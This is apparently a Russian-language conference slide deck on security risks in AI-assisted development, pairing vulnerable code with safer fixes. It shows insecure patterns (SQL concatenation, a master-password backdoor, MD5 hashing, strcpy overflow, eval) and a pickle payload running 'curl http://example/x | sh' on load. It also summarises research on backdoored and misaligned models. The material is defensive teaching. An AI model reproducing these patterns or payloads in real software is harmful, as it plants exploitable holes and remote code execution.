

Уверенность без проверки

Три слоя угроз безопасности генеративного ИИ в разработке

Три слоя угроз

Каждый слой показывает один и тот же паттерн: уверенность возникает быстрее, чем доказательство безопасности.

1. Код

Работает, но пропускает санитизацию, авторизацию, криптографию и секреты.

3. Эксплуатация

Код проходит демо, но под нагрузкой течёт ресурсами и открывает путь к отказу в обслуживании.

2. Зависимости, модели и внешние артефакты

Пакеты, модели и артефакты могут быть ошибочными, отравленными или вредоносными.

Итого: гигиена!

Что делать: проверки в CI/CD, правила для агентов, контроль моделей и зависимостей.

... не запретить ИИ, а встроить его в безопасный инженерный процесс.

Проблема не в ИИ, а в доверии без контроля

1. Скорость

ИИ быстро даёт рабочий вариант, но не доказывает его безопасность.

2. Иллюзия готовности

Код выглядит логично и проходит позитивный сценарий — но это не равно готовности к продакшну.

3. Контроль

Ревью, тесты, статический анализ, анализ зависимостей и моделирование угроз остаются обязательными.

Итого: гигиена

Код, зависимости и модели проверяются до попадания в контур разработки и эксплуатации.

Слой 1

Код

Сгенерированный фрагмент может быть рабочим, но не безопасным.

ИИ-код часто выглядит безопаснее, чем является

Опасность не в синтаксисе, а в пропущенных защитных инвариантах.

менее безопасный код

участники с ИИ-ассистентом чаще писали небезопасные решения и сильнее верили в их безопасность

Perry et al., CCS 2023

55%

доля безопасных решений в исследовании Veracode по 100+ моделям и 80 задачам

Veracode, 2025/2026

1,5 млн

API-токенов были доступны из-за неверной конфигурации Supabase/RLS в Moltbook

Wiz Research, 2026

Что общего у этих случаев:

код или конфигурация выглядели рабочими, но не доказывали безопасность: отсутствовали проверки прав, безопасные настройки, ограничения ввода или контроль секретов.

№1: SQL-инъекция

Уязвимо: строка запроса собирается вручную

```
def get_user(db, username):  
    query = (  
        "SELECT * FROM users WHERE name = "  
        + username + ""  
    )  
    return db.execute(query).fetchall()
```

Безопаснее: параметризованный запрос

```
def get_user(db, username):  
    return db.execute(  
        "SELECT * FROM users WHERE name = ?",  
        (username,)  
    ).fetchall()
```

Суть риска: код выглядит простым и рабочим, но пользовательский ввод становится частью SQL-команды.

Проверка: запрет конкатенации SQL, параметризованные запросы, тесты на негативные сценарии, SAST в CI/CD.

№2: доступ и секреты

Типовые ошибки выглядят как нормальная бизнес-логика, пока не спросить: «а где контроль?»

Контроль доступа: уязвимо

```
@app.route("/api/users/<id>")
def get_user(id):
    # Нет проверки прав:
    # любой читает чужие данные
    return jsonify(
        db.users.find_one({"_id": id})
    )
```

Секреты: уязвимо

```
import stripe

stripe.api_key = "sk_live_...REAL_SECRET..."
# Ключ уйдёт в git-историю,
# логи и резервные копии
```

Правильная гигиена: авторизация на уровне маршрута и данных, секреты из хранилища, сканирование git-истории, запрет секретов в промптах и исходниках.

Важно: «код работает» здесь означает только, что данные возвращаются. Это не доказывает, что их имеет право читать текущий пользователь.

№3: слабое хеширование паролей

Пароль нельзя хранить как быстрый хеш без соли — даже если код выглядит аккуратно.

Уязвимо: быстрый хеш MD5

```
import hashlib

def hash_password(pwd):
    return hashlib.md5(
        pwd.encode()
    ).hexdigest()

# быстро, без соли ->
# перебор и радужные таблицы
```

Безопаснее: bcrypt с солью

```
import bcrypt

def hash_password(pwd):
    return bcrypt.hashpw(
        pwd.encode(),
        bcrypt.gensalt()
    )

# лучше: bcrypt / Argon2 / PBKDF2
# с параметрами по политике проекта
```

Суть риска: ИИ может выбрать знакомую короткую функцию, но не безопасную схему хранения паролей.

Проверка: запрет MD5/SHA1 для паролей, bcrypt/Argon2/PBKDF2, SAST-правила и отдельная проверка криптографии.

Ревью видит написанное, но не всегда видит отсутствующее

ИИ особенно опасен там, где код выглядит завершённым, но в нём нет обязательного защитного инварианта.

1. Позитивный сценарий

«На тестовых данных работает» ошибочно воспринимается как доказательство качества.

2. Аккуратный стиль

Сгенерированный код часто читается лучше, чем старый ручной код, и поэтому вызывает доверие.

3. Пропущенные требования

Если в задаче не было авторизации, лимитов, логирования и ошибок — модель может их не добавить.

4. Нужны чек-листы

Ревью должно проверять не только diff, но и обязательные свойства: права, ввод, секреты, ошибки.

Итог: безопасность должна быть частью Definition of Done, а не интуицией ревьюера.

Слой 2

Зависимости, модели и внешние артефакты

Риск возникает не только в коде, но и во всём, что ИИ предлагает подключить.

зависимости и модели, которым поверили слишком рано

Галлюцинация пакета становится атакой через зависимости

Если модель повторяемо придумывает имя пакета, атакующему достаточно зарегистрировать это имя.

20%

образцов кода в исследовании содержали несуществующие пакеты

Spracklen et al., 2025

58%

галлюцинированных имён повторялись более одного раза

USENIX Security 2025

агенты

повышают риск: установка пакета может произойти без явного ручного шага

OWASP LLM Top 10: чрезмерная автономность агентов

Русский термин:

«slopsquatting» можно объяснять как захват имён пакетов, которые ИИ уверенно придумывает, а разработчик принимает за настоящие.

№4: несуществующая зависимость

Опасность не в одной команде установки, а в доверии к имени, которое никто не проверил.

Уязвимо: установка по совету ассистента

```
# Ассистент предложил библиотеку:  
pip install requests-oauth-helper  
  
import requests_oauth_helper  
# Пакет может быть зарегистрирован атакующим
```

Безопаснее: политика зависимостей

- # 1. Проверить существование и владельца
- # 2. Зафиксировать версию и хеш
- # 3. Проверить через SCA / allowlist
- # 4. Запретить автоустановку без ревью

Практический вывод: агенту нельзя давать право добавлять зависимости без проверки владельца, версии, хеша, лицензии и уязвимостей.

Бэкдор может быть не в вашем коде, а в том, что вы загрузили

Вес модели, набор данных, pickle-файл или Docker-образ — часть вашей зависимостей и внешних артефактов.

1. Намеренный бэкдор

В *Sleeper Agents* модель писала безопасный код при одном триггере и уязвимый — при другом.

3. Эмерджентный эффект

Дообучение на небезопасном коде может ухудшать поведение модели за пределами задач программирования.

2. Вредоносный артефакт

nullifAI прятал reverse shell в pickle-файлах моделей на Hugging Face.

4. Ложное ощущение безопасности

Стандартное дообучение или сканер не всегда удаляют скрытое поведение.

Вывод: модель нельзя принимать как «данные». Иногда это исполняемый и доверенный компонент.

№5: скрытый обход авторизации

Бэкдор может выглядеть как служебная логика, временный доступ или «аварийный» режим.

Уязвимо: универсальный пароль

```
def authenticate(user, password):  
    if password == "S3cr3tM@ster!2026":  
        return True  
  
    return check_credentials(user, password)  
  
# одна строка обходит  
# всю модель авторизации
```

Безопаснее: явная политика доступа

```
def authenticate(user, password):  
    if not check_credentials(user, password):  
        return False  
  
    return is_access_allowed(user)  
  
# аварийный доступ — только через  
# отдельный процесс, аудит и MFA
```

Суть риска: код выглядит как обычная проверка, но одна ветка создаёт недеklarированный доступ.

Проверка: тесты на обход авторизации, поиск магических значений, запрет универсальных паролей, проверка безопасности кода авторизации.

№6: модель как исполняемый артефакт

В pickle опасность появляется не после запуска модели, а уже во время загрузки.

Уязвимо: десериализация pickle

```
import pickle, os

class Payload:
    def __reduce__(self):
        return (os.system,
                ("curl http://example/x | sh",))

blob = pickle.dumps(Payload())
pickle.loads(blob) # код выполнится при загрузке
```

Безопаснее: правило загрузки моделей

```
# Не загружать неизвестные pickle / .pt
# Предпочитать safetensors
# Проверять источник, хеш и подпись
# Загружать в изолированной среде
# Сканировать артефакты до использования

# model.safetensors + проверенный hash
```

Правило для процесса: модель из интернета — это не «файл данных», а внешний компонент с риском выполнения кода.

Слой 3

Эксплуатация

Безопасность — это не только отсутствие SQL-инъекции, но и устойчивость под нагрузкой.

Работает в демо — не значит выдержит эксплуатацию

У генеративного кода часто отсутствуют не функциональные, а эксплуатационные требования.

1. Ресурсы

Соединения, файлы, курсоры и потоки должны закрываться предсказуемо.

2. Ограничения

Публичные эндпоинты требуют rate limiting, квот, таймаутов и пагинации.

3. Опасные примитивы

eval/exec, небезопасная десериализация, strcpy/gets в С — запрещённые или ограниченные паттерны.

4. Наблюдаемость

Логи, метрики и алерты нужны, чтобы ресурсная проблема не стала тихим отказом.

Проверка: нагрузочные тесты, лимиты, таймауты, профилирование, chaos/abuse cases и операционные чек-листы.

№7: безопасность памяти в C

В языках с ручным управлением памятью короткий пример может стать критической уязвимостью.

Уязвимо: копирование без проверки длины

```
#include <stdio.h>
#include <string.h>

void greet(char *name) {
    char buf[16];
    strcpy(buf, name);
    printf("Hello, %s\n", buf);
}

// gets(buf) — тоже запрещённый паттерн
```

Безопаснее: ограничение размера буфера

```
#include <stdio.h>

void greet(const char *name) {
    char buf[16];
    snprintf(buf, sizeof(buf), "%s", name);
    printf("Hello, %s\n", buf);
}

// лучше: API с явной длиной
// и проверкой результата
```

Суть риска: на коротком имени всё работает; на длинном вводе возможно переполнение буфера и повреждение памяти.

Проверка: запрет небезопасных функций, флаги компилятора, санитайзеры, фаззинг, SAST и отдельная проверка C/C++.

№8: утечка ресурсов

Уязвимо: соединение и курсор не закрываются

```
def read_rows(dsn, q):  
    conn = psycopg2.connect(dsn)  
    cur = conn.cursor()  
    cur.execute(q)  
    return cur.fetchall()
```

conn и cur не закрываются

Безопаснее: контекстный менеджер

```
def read_rows(dsn, q):  
    with psycopg2.connect(dsn) as conn:  
        with conn.cursor() as cur:  
            cur.execute(q)  
            return cur.fetchall()
```

Суть риска: один запрос работает, но серия запросов может исчерпать пул соединений или файловые дескрипторы.

Проверка: статический анализ, нагрузочный тест, лимиты пула, метрики открытых соединений.

№9: опасные вызовы и лимиты

ИИ часто предлагает короткий путь. В продакшне короткий путь должен быть запрещён политикой.

Уязвимо: eval на пользовательском вводе

```
def calc(expr):  
    return eval(expr)  
  
# Пользовательский ввод получает  
# возможность выполнить Python-код
```

Безопаснее: ограниченный разбор

```
import ast  
  
def calc(expr):  
    return ast.literal_eval(expr)  
  
# Для калькулятора нужен отдельный  
# парсер выражений
```

Уязвимо: публичный эндпоинт без лимита

```
@app.route("/api/export")  
def export():  
    return generate_large_report()
```

Безопаснее: лимит + очередь + таймаут

```
@limiter.limit("30/minute")  
@app.route("/api/export")  
def export():  
    return enqueue_report_job()
```

Кодовая и процессная гигиена для ИИ-разработки

Не запрещать ИИ, а встроить его в контролируемый инженерный контур.

1. ИИ-код = недоверенный вклад

Каждый фрагмент проходит ревью, тесты и автоматические проверки.

2. Проверки в CI/CD

SAST, анализ зависимостей, секрет-сканер, IaC-сканер, policy-as-code.

3. Правила для агентов

Запрет самовольной установки пакетов, allowlist, отдельные права и журнал действий.

4. Модели как компоненты

Доверенные источники, safetensors, хеши, изоляция загрузки, сканирование артефактов.

Минимальный принцип: скорость генерации не должна обходить контроль изменений.

Уверенность должна появляться после проверки

1. ИИ ускоряет разработку

Это полезно и неизбежно.

2. Но не подтверждает безопасность

Рабочий код не равен безопасному коду.

3. Проверка становится главным этапом

Ревью, тесты, SAST/SCA, секреты, модели, эксплуатация.

4. Гигиена важнее запретов

Нужен управляемый процесс, а не отказ от инструмента.

Главная формула: ИИ может писать быстрее, но команда должна проверять глубже.

Ключевые материалы

Полный список можно расширить из драфта доклада; здесь оставлены источники, которые поддерживают основные факты.

1. Perry et al., ACM CCS 2023

ИИ-ассистент: менее безопасный код и выше уверенность
<https://arxiv.org/abs/2211.03622>

2. Veracode GenAI Code Security

55% безопасного кода в задачах генерации
<https://www.veracode.com/blog/ai-generated-code-security-risks/>
<https://www.veracode.com/blog/spring-2026-genai-code-security/>

3. Wiz Research: Moltbook

1,5 млн API-токенов и 35 000 e-mail из-за Supabase/RLS
<https://www.wiz.io/blog/exposed-moltbook-database-reveals-millions-of-api-keys>

4. NVD: CVE-2025-48757

Недостаточная Row Level Security в Lovable-generated sites
<https://nvd.nist.gov/vuln/detail/CVE-2025-48757>

5. OWASP Cheat Sheets / LLM Top 10

SQLi, небезопасная обработка вывода, риски зависимостей, чрезмерная автономность
https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
<https://owasp.org/www-project-top-10-for-large-language-model-applications/>

6. Spracklen et al., USENIX Security 2025

slopsquatting и повторяемые галлюцинации пакетов
<https://arxiv.org/abs/2406.10279>

7. Anthropic Sleeper Agents

Бэкдорное поведение переживает безопасное дообучение
<https://www.anthropic.com/research/sleeper-agents-training-deceptive-llms-that-persist-through-safety-training>

8. ReversingLabs nullifAI

Вредоносные ML-модели и pickle/RCE
<https://www.reversinglabs.com/blog/rl-identifies-malware-ml-model-hosted-on-hugging-face>
<https://huggingface.co/docs/hub/en/security-pickle>
<https://github.com/safetensors/safetensors>

9. Betley et al., Emergent Misalignment

Узкое дообучение на небезопасном коде
<https://arxiv.org/abs/2502.17424>

10. NIST SSDF / SLSA

Практики безопасной разработки и зависимостей и внешних артефактов
<https://owasp.org/www-project-top-10-for-large-language-model-applications/>
<https://slsa.dev/>



Максим Климашевич

Операционный директор

mk@nn2.me

+7 985 207 4792

ООО «Группа НН2»

nn2.me